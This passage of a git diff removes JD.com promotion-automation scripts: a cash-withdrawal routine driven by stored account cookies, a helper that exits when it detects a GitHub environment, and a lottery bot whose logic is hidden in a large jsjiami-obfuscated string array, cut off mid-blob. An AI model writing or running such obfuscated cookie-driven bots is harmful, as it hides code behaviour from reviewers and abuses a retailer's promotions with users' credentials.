'https://joypark.jd.com', - 'Cookie': $.cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json, text/plain, */*`, - 'Host': `api.m.jd.com`, - 'X-Requested-With': `com.jingdong.app.mall`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, - 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, - 'Sec-Fetch-Site': `same-site`, - 'Content-Type': 'application/x-www-form-urlencoded' - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = $.toObj(data); - if (data.code === 0) { - for(let item of data.data.items.filter(vo => vo.prizeType===4)){ - if(item.prizeStatus===0 && item.state===0){ - console.log(`提现${item.prizeValue}微信现金`) - await apCashWithDraw(item.id,item.poolBaseId,item.prizeGroupId,item.prizeBaseId) - } - } - } else { - console.log(`提现异常:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -/** - * 提现 - * @param id - * @param poolBaseId - * @param prizeGroupId - * @param prizeBaseId - * @returns {Promise} - */ -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { - return new Promise(resolve => { - const body = { - "linkId": linkId, - "businessSource": "JOY_PARK", - "base": { - "prizeType": 4, - "business": "joyPark", - "id": id, - "poolBaseId": poolBaseId, - "prizeGroupId": prizeGroupId, - "prizeBaseId": prizeBaseId - } - } - const options = { - url: `https://api.m.jd.com/`, - body: `functionId=apCashWithDraw&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform`, - headers: { - 'Cookie': $.cookie, - "Host": "api.m.jd.com", - 'Origin': 'https://joypark.jd.com', - "Content-Type": "application/x-www-form-urlencoded", - "Accept": "*/*", - "Connection": "keep-alive", - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", - 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc5`, - "Accept-Encoding": "gzip, deflate, br" - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = $.toObj(data); - if (data.code === 0) { - if (data.data.status === "310") { - console.log(`提现成功!`) - allMessage += `京东账号${$.index} ${$.UserName}汪汪乐园提现成功!\n`; - } else { - console.log(`提现:失败:${JSON.stringify(data)}\n`); - } - } else { - console.log(`提现:异常:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/activity/jd_jxd.js b/activity/jd_jxd.js deleted file mode 100644 index 13ba14a..0000000 --- a/activity/jd_jxd.js +++ /dev/null @@ -1,42 +0,0 @@ -/* -京小兑 -更新时间:20201-3-13 -只要保证一天运行一次,即可参与到每天3场抽奖,切勿多次运行冲垮服务器⚠️⚠️⚠️ -号内循环互助,每天2500+兑币=20+京豆,推荐打开将抽奖码换为兑币的开关 -docker用户推荐修改默认cron,避免冲垮服务器 -活动入口:微信搜索小程序-京小兑 -更新地址:jd_jxd.js - -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#京小兑 -30 8,16,20 * * * jd_jxd.js, tag=京小兑, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jxd.png, enabled=true - -================Loon============== -[Script] -cron "35 8,16,20 * * *" script-path=jd_jxd.js, tag=京小兑 - -===============Surge================= -京小兑 = type=cron,cronexp="40 8,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_jxd.js - -============小火箭========= -京小兑 = type=cron,script-path=jd_jxd.js, cronexpr="45 8,16,20 * * *", timeout=3600, enable=true - */ - -const $ = new Env('京小兑'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', allMessage = ''; -//自动把抽奖卷兑换为兑币,默认是 - -var _0xodq='jsjiami.com.v6',_0x4a15=[_0xodq,'esO/wpHDu2HDhMOQw4k=','H1NWTxg=','w5cmwr/CjcOEwovCrg==','w4fClMKmw4hpw5hh','KsO+ScOjwrU=','G1nDuW3CkQty','w5ozw7rDhcOxwrrDjsOhwqVRDcO1Z1jDmW8zEsOPfwTDlmYBwo9qDA/CqMOtw5PCn2XDrR8/w6TCusOOwpzCgHIJwqHDuMOIwrd2wpPDnw==','w5AGw6vCkTpOwoUSecODw5vCnw==','MhPDuQ==','M0jDqsK6NSIYAcKgwqY8w4rDknZnwr1GRcO1wobCkMKfwrgIXsKzI27CnsKtOX/ClcOjOQLCqcKKFMO2ScOTGsOnJMKAC3Bhwo1hwpNPYlTCo8KywoI1PTcnQw==','w5EzwrvCpcOMwpzCqjzCkcO9wqkxw53CuCjDscKfwo8GXcKLwq7DhQctwrPCtMOVQcO5SDRf','w7Eyw6rDjcO1wpbCjMOqwrQ/VsK9KVnCuDVvTsKZdWvCpXlkw6AmeVTDtcK3wobChhnCjAs+w6PDl8OFwojDmCgOwq/CssOnwr1/w5LDtmo8fDEWHsOYQ30XPMKdw5HDu8OJakJ6wqnCusKANyPClMK6C8KMw6/CmUZBEMO+w4suwqrDlcOwwotZw5DCmMOsVRxqYCwowo8pw5zDicOWwrILO8OHXMK6f8KJJzTDhsKrCyo5woLCksOjSnVFXMOMHxDDuCbDrlHCsRTCknHCmWkNwrVZwo0dbcOlwo/Cnm7CoUY6wovCuE4dw54cCXbDs8KXw5XCq2HDnsKzwqpIQQ==','w5nmjbnnprzCuuS8geean1FDw6vCnMKcw67loavlhKvkuJDoppLojpvCpuasseejtOagoOW+o+S7gjbDl8KiE8Ohw69vwqk8esKcQ8O0UMKCPRpuF1HCrXnCr3Zi5ZOC6Z6q5YiQ5YysJuS5k+WPn+WwhsOI','wpBAwophccK1eBU=','CsORAA==','P0/DrMKAKg==','w7rCsMOSwrrCig==','QcOQw6bDnhM=','F8K8U8KReQ==','BFRtfDU=','w51xwqjDmsKe','wrF9LcOVasKzwqvDtg==','w7jCs8K4w7tR','JVvCk8KORA==','worDs8OLw5IC','N8Kxw7nDlMOVwpPChcKfwpsKOsKSfyMGNsKlYm3DnyXCvHTCq8K4wqcVYcKiYcOEwqBHwrAabMO/UcOmw7YGw4psw4/CusO6w5DDt8KeZw==','wppsNcK3w51dw4TDscKXYy4q','P8KQwqc=','ZgvChMOAEsOsw4UZw7jCm1IiQmtCcncBw5dJwpF2wpTDgHBQQmzCp8K5bRouOTQ0wpfDs8O0woDCthk3GAZFLMKow5Ipw5DDmMO6wofCu8KDw7bCnMOXdg97PQ==','DGQrwpZSMFIcU8KYEj/DvcOoHypJw4TDp8KRdcOPwqZcBsK6EMK2w7XDlCs=','N8O1dMOAwpQIwobCtjDDk8OAw6fDq8KKwqUBWmolwq3Djzwpw7DDosKgwpjDti7Di8KKwovCojJFw5FPBcOVw5FyUz3DjMKbw4DDlVvCoMKGwoZ1wphWcRbDhgsicEYiYR3DpsKCLEF6YAHDvQFdw6zDjcKXFMKtesO0w6bCmRjDojgDYsKww63CrDhNX8KKw5HDvsO2eloKw6gMUMOvKgJWw7gCw5LDkMO8wpPDtSI5w65uagY8U8KUwrFhcsKiw6fCksKlw5rDtHBIRsKQw4TCq8K5w4LDgDLDi2BtLhvChcKmw47DtBNIw6zCvsKDQjoQw73Cu8OSwqXDlFLCsMOgaMK1','wqhzCsOCcA==','LMKQQcKgfg==','w7I4XQ==','w5M1w5XDicOK','XTjCpsKww7U=','w58rwo7CpMO2','wo4ZEMO6Dw==','wr3DhsOIw6Er','T8OIwrUsw4U=','w5TCnsKBw7h6w4Vqw7M=','AsK7w7/DocOe','OHIwwpx/','w7rCucKew55c','w5fClWXCjMKD','w7EbwoXCrsOC','XEQYw4XCjg==','QDXCl8K+w4nDq8OP','ecOOw4nDpzw=','H0vDjMKvDg==','KngLwo53','BcOURsK6','JnLCkcK9dQ==','wprDscOCw5MU','w4h1wrDDnsK9wq4QMnxDeMKmw5xdw6QVXcKJwq8Bw6VZwrvCjMKJw7HDjinDisK3w4Ba','eBs4w7rClQ5kwoDDt8OMwqDDssOnw5hLWk5aKsOiI3IPw7DDv8OkPcKxdcKfQcO5wqE=','VSrCisKtworCr8OOwpEdw5bCpcKfw4/DsRxQwpw=','wr96U8OCdg==','HF/CmsKkAcK4w7QMwrRs','WiTCl8Ktw5XCtcKFw5sMw4vCt8OFw4DCuRJRwoHDrkHCgcKfwrfClcKAOMO/wqLDscOPwoLCq8KSewPCuWXDuMOTwpTCssOmw58EcVoYw7bCikk=','f8Oww4bDpsO4woHDucO6w7gPH8KuSg==','TMKeJG8=','K8KVVMKzZk91woLCpk9kDsOXwrYUw5onUMK+MMKfwoLDh3/DnhvDmsOow7/DrFkTw6NAwrfDtQDCgsOiw4XDpk5ZwoQeb8OxwoHDvMOQwpLCqWElTMOswqDCusO2w6chworDi8OHZ2/DpsO1YsKNaMKSaFXCicK6woI=','HE7DuMKyPw==','wp59wq1hRg==','QcKNBQ7DhQ==','w7TCtMO2wo7CgQ==','wqFjMsOvcg==','wpVwL8OSQQ==','YhrCkcOoEg==','QsKBw7PDvcK0','G8KKw7nDm8OS','wpN1w5VSw6Q=','w5PDukHDkxI=','KsOQf8K+XQ==','w6DDosK8ZXg=','w7hkwqnDmMKb','wpJgw7xrw6k=','Bw/DlMKeVg==','wqFuw55Ww6Y=','w4AVwpHCn8Ou','bsKuBV7CmHzDoUBxwqPDkcKEGMOecg/CmnrDq2HDnMKewqnDgMOcw4DDk8Kgw51Dw5TCmMK6wqzDn1tRw7nDhEXCtChFwpnDuUVew5XDj8O0LMKHPSc=','fCfCp8KWw6I=','woVSw6pXw58=','wpkuBsOhKw==','QEgyw4PCiA==','FmnCl8KMQg==','woI8BsO9JA==','TQ/Dr8K9ATw=','NMKxw6U=','RDvCr8OlMsKTwrhpw4rCuWUafw==','wrrCqgI=','V8OcwoUhw4bDn1TDicKOwqfDlsO9KQ==','X07CtXzDnw==','O2TDq0XCog==','worClzFXw5cdPcK8dGc=','wpdxJcO9w5EHw48=','YBvCtDwM','wrjCoQBhw6koGw==','O8Kqw5XDp8OV','SzwMw4PCtQ==','AEtxSw==','CcKfTMKiTA==','w6DCksOXwqzCkQ==','NVjCh8K+XA==','w5s3w5nDqQ8=','wqHCkcKJRcOJ','HEtl','SlsEw7rCt8KSw7/Dt8Od','w5BVAcOQ6K2H5rCx5aaf6Law77616K+35qKB5p6i57+r6LWn6YSe6K+k','LErDpFvCuQ==','w7BPw4Azw4A=','O27CtMKabQ==','w5YRw6jDuiUS','D0jDv0DCnhh+dcOk','PcObwrXDv+ivueazqOWmlei2hO+9meiuquagrOaduOe+u+i3kOmHmOiviw==','DF3Dv1rClQ==','FMOzZcOGwrc=','RcKWw5XDuMKY','wr5Cw7tIw4o=','b8O8Eit4','wrDDp8Opw6cv','DcOtYsKOfg==','dMOrwpYbw7LDs2g=','exbCgcKJw6I=','w5kYw6XDtBE=','J8Otw6nClcKT','O0TDhF/Cuw==','w47CmMKxw6dGw41pw7E=','BlDDmFzCnw==','w63CrnLCjsKfZ8OJw4s=','wpRIwoAsaVg=','ZMKSw4fDmcKu','HDrDucKdQQ==','ShnDg8KQPw==','MsOGUMKtYzXDv8OD','LGJoOgs=','w5EQwqrCiMOz','az3Cky8y','HWLCqMKFfw==','RMK8ODzDrQ==','I8Ohw57CsMKk','AkF2Sih4HsKhR8Kr','wpBOwqp+R8Ke','5Yeg5o+J5oig5Yi8772L6Iy05byKwrM=','P13DqsKr','EuWEgeW7og==','5YSj5oy95aaq6Le677yX','w4gbw7vDiiUOwqIFMA==','5Lmp5LiO5p2z5YiA5Zmw6LyO5Zib56ur5pW25o6A','wr/DhsOhw4UTaQ==','RMOKMT5O','Z8Odbj8o','G1FzES8=','wotNwrNwYMKo','fTjCuRsj','O3ZWfTQ=','PGQhwo5J','e8KPCDvDsQ==','wpvCv8K7w5l+','w6xQwo7DkcKa','NV7DplnCoA==','wpt3wr4deQ==','wpF6HMOOcA==','w53DqXHDgi8=','ccOawpsVw70=','TMOLwr/Dhms=','w5tgwrTDh8KmwqMyKXFJ','w41kwrTDkw==','acO5wqkfw5HDmA==','5YWs5o+N5omP5Yuj77yT6I+n5b2Aw6s=','ccOew7nDpQ==','w4g8w6PDj8Odwrg=','5YaU5o2w5aWP6LaE77yU','b8O/wpHDg3zDhMOpw5Iy','HcOheMKQSw==','K13DrMK5Iw==','wpZKwq1gccKyWwFd','fcOaVB46','w5MlwrLCp8Ox','w6/CvMO9wrfCgQ==','5Lmc5LiI5p2c5Yi45ZuY6K+M6ZWA5pel5o+X5Li656i7772L6K2N5qGI5py26Ieb6Luz6Kyx5aaI57+957q+5oCo5YWC','wopAHMOWw5Y=','wql9GQ==','wq/Cv8Kaw6lgd8OlBTg=','w4M3wrnCoMOLwpg=','CcOtRsOLwo8=','6K+R5YiP6Ziw5oa85Z+2wp/Ck18qw6nov6Llhp3moKrkv4fml5jlh5jlro1t5bmq6Ky86YCn6Lyc6IWZ5pyQ5Yyz6IyW5YyOwrnDoTvDqsKhwqk=','AHxJNQM=','w4FFw7o1w6c=','wrtUwqY5cw==','R8OLwqHDuEk=','woXClTBLw48=','w4HDikLDkCI=','FyBQ','wpYkLsOmJw==','wqnCq8KRfMO1Sw==','axHChg==','wq5rwoZfW8KYSTdiw5hPGMOCw6h2','Y8K0Bw==','TMKeLmTCswLCkSpewpHCt8KvMsK3VA==','wr9tw49Kw5Q=','bg8sw6bChiFWwozDkcOxwrjCkcOYwpo=','EHzCmcOvM13CrQ==','wpJDwrhfIhjDscOaw4bCisORVhIcw49w','w5vDj2/ClyLDp8KuwqR1EThXcmoVw60=','DcORasKVSwzDhcO1IcO1TGAqOcK5','WDTCvMOpwp7Cu8OPw4YawonDvcKIwpLDqQ8C','6KG25omC5YyO55iY6K6i5b+fwptF','U0spwqXCusKRwq/CosOBwqDCn8KNw79xwrTCgQ==','w5bDjkTDhybDt8O8','EMO+RMORwpwhwp/Dum3CnMKewqDCpg==','wpFUwqkGf08=','BcOOw7LCsg==','w5wRw73DujYDwoc=','aEnCoGw=','C8OFw70=','w7A6w5DDuxIiwrox','w4xrwrY=','wpXCgCtBw40eL8K+','VDHCj8Kuw4M=','wpRIwoA=','wrTDjMOyw6QAb1M=','wrRrw7Z3w6fDlMOIw58=','w5cmwr/CrcOEwovCqg==','Lns0wpFSNnksCA==','U8K4PivDqXk9','Lns0wpFSNkAifg==','Yx7CgA==','w7wzB8KZwrHCug==','wrnCrRhxw60u','w4bCq8ONwpDCk10wasK9TjfCkW7DrhPCtcOqUAMoBw==','FgdZe8KC','QcK0IXzChA==','44CJ5o6756Wy44KH6KyL5YSl6I6y5Yyi5Liy5Lq/6Leo5Yyq5LqfwpZTQlIeKcKH55ql5o665L2d55atw4PDpzrCplLCkeeaoeS4sOS7meespeWKueiPgOWMpg==','w7/DjsKmcEwaYcKEKQ3CikXCqcK0BGo6w4DDvMOyTWZ4AHY0w6fDiFFoFMKEwp3CtsODUsO0FsOKwq1cYcKD','JsOxw7/CoMKj','wrDDo8Orw5Ql','wrLCoR1/w5g=','XcKEKybDkg==','wpZmGMO1fw==','w6nCk8OawrTChA==','wo9XCMOzSQ==','w7oEwrLCscOr','wp1nNg==','A3U2wp8=','f8KSLx3Dqw==','wp7CuMK2w7tG','M0ZaWA4=','DHcvwrZSIEc=','Xz3CoSIu','wotgwp1Yew==','w7TDnkjDgT0=','P8KPw4PDlsOP','wq/CpQZ2w60=','FsO1aQ==','6ISo5p286ISJ5Ym15ois5oiy5ae85Y6D5YSq5o+Y5Lu+5Ya65bqr','dQQv','6IWt5pyW5Luy5L+O5bCq5omk5aeO5YyS5YaT5o2r5Li+5Yem5bqR','UcOpwq8Mw4A=','w4LCusOXwofClA8=','Gn7DpmHCpA==','MsOPY8ONwo4=','UGnCvmDDkA==','w4LCsMOe','5Luu5Yie5ayB5oqU5omp5YmD','w4Zvw7ITw7g=','FGDCiMKNdQ==','JcOpw7zCisKV','NlN9OA9zcMKH','QMOMw6jDtjfCvcOwwoc=','w7Zlw5www7vDninCvw==','cMOHKQtQ','dV3Cp2fDjg==','CsOUQcK8RQ==','E8O0asOMwoA=','Qx4sw7HCjw==','KMKCecKscR1y','GVPCnMK/YsK4w7UA','w5TDulPDhyQ=','AXs8','EhbDuS7CjMOiwpHlv6Hlpbrjgo/kuoXku5vot5jlja0=','dMO2wr4Rw60=','w7nDk8Kxa3FBI8OO','BMKsw7bDh8OzwrLDi8Oe','RMKBwqHDq8O9EUMBw60G','w4plw7Utw5LDlio=','HyzDvA==','P8K+w77DkA==','44GR5oyh56SP44OSdRtzwrnCp0Xlt7jlpZrmlqQ=','5LiC5LuD6Laf5YyX','VMOBOxln','w5QXw6zDlBkBwoIT','ZyPChsKvw6jDrsOHwpE=','wrDoronphYLmlI/nmKzlvLXojZjljqBdw4jDgMKGL0vDvMOzwqrCsRYadcOGZsK+GsKlwqorwp7DmsOQw7IhfB7DsRLDvsO5wohUw4AMDEgiw4XDssOgw6XCuMK5','woPCusKHdMOF','FU/Dg0bClBo=','wrMMBMORJGo7w5nCqsOv','wp51PMO8','MsKww7zDnsOUwrbltZTlporml7dqfMOa','L8Opa8ObwrYFworDvA==','5LqI5Lmg6LaH5Yyl','OMKxw7fDkMOF','wpUaD8OHJGQiw5U=','w4rorp7phqfmlIXnmJHlvZDoj7jljabCr8O5w4XDu1Je','QV7CvmPDlA==','Al7Ds8KtNA==','w6g9AcKG','UFw4w7zCvcKQ','ATrDtcK7VcOgf3VAw4w=','wpllw7R5','wpVUwoA=','dl3CvmE=','A8OKw7s=','CCzDocKtVA==','w7hRwqvDisKE','dcKjw7vDhMK1','w6sxw57DiMOt','w5N3w4sxw5A=','w5llw4Mww7o=','eAvChhsWKhxQYSc=','AsOEw6w=','5b2K5Yim5YSZ5bqX77+m','E1vCi8K1','XU03w77CtsKAw7jDpQ==','KVnDrsKmJ3tS','w7PCsmLCjQ==','WcK8PizDoA==','w6zCgMKnw7Rd','XsOteA03wrQ=','KMOme8KxWQ==','ScOXOBRe','D8OwZMKuXw==','aQo6w6XCmQ==','LcKeUg==','HMOOw7/CtMKlVSRYwqA=','YMKYGmbCvw==','AAplRMKN','TsKEGCbDng==','ah86w7/CkgpswpLDpw==','VUAR','CcOUWMK6','TVULwrPor4zmsJHlpILotY3vvLborIDmorzmn7Xnv4botbTphr3orpE=','JyzDvsKtVcOuZnk=','IjBiacKX','EV3DuUrCmA==','wr7DiMOyw6MJ','w5ktwq/CrMOd','w7NwwqTDlcKn','w495w54=','F8Kyw7Bewr/CsCzlvpblpITjg7DkuL/kuq/otZvljYU=','wqkHDsOQEg==','44G255ix5b6f542w5Lq/5Yu9wrjCjEnCrzYESXTDisOq','eV/Cp0jDj8K7w48=','N+W+r+WmlOWLleWKhOa1q+WJv8Kiw6nvv7PjgIE=','wpVGwpMKcw==','dFPCtA==','wrvmjbvnpIrCmeS8p+eYh8O+w7x7TzNR5aCq5YeD5Lm96KSe6Iy2w4Xmr7DnoL3mo53lvLnku6TClsK6w7Q6MDnCglfDs8K8M31iwrHDozd6fcK7w40Hw6FdN8Kq5ZCf6Z6h5Yi55Y6Tw6zkubjljJrlsqLDow==','wp3CpT1Rw6A=','McO5SMO6wo4=','UcKRw5bDhw==','L1t3Jw==','wpRlw61/w6Y=','YhDClw==','WsK8Jyo=','UBzlprzotIzDkV/ljojlm7PCpxw=','w5o0w77DhcO1wpbClA==','wqF9EMOE','wrfCuyTCmcOANsOYwp7DjMOyw57Dv0sOw4oISiYLfGIa','K3jDuEXCoQ==','wrZiEsOIbA==','wrJuK8Oyw4M=','HQRRXMKZ','GcOKw6LCtQ==','wqrCu8KHw6g=','G2vDq1jCsg==','U8OYw7TDqDE=','w6bClsKrw6BA','wr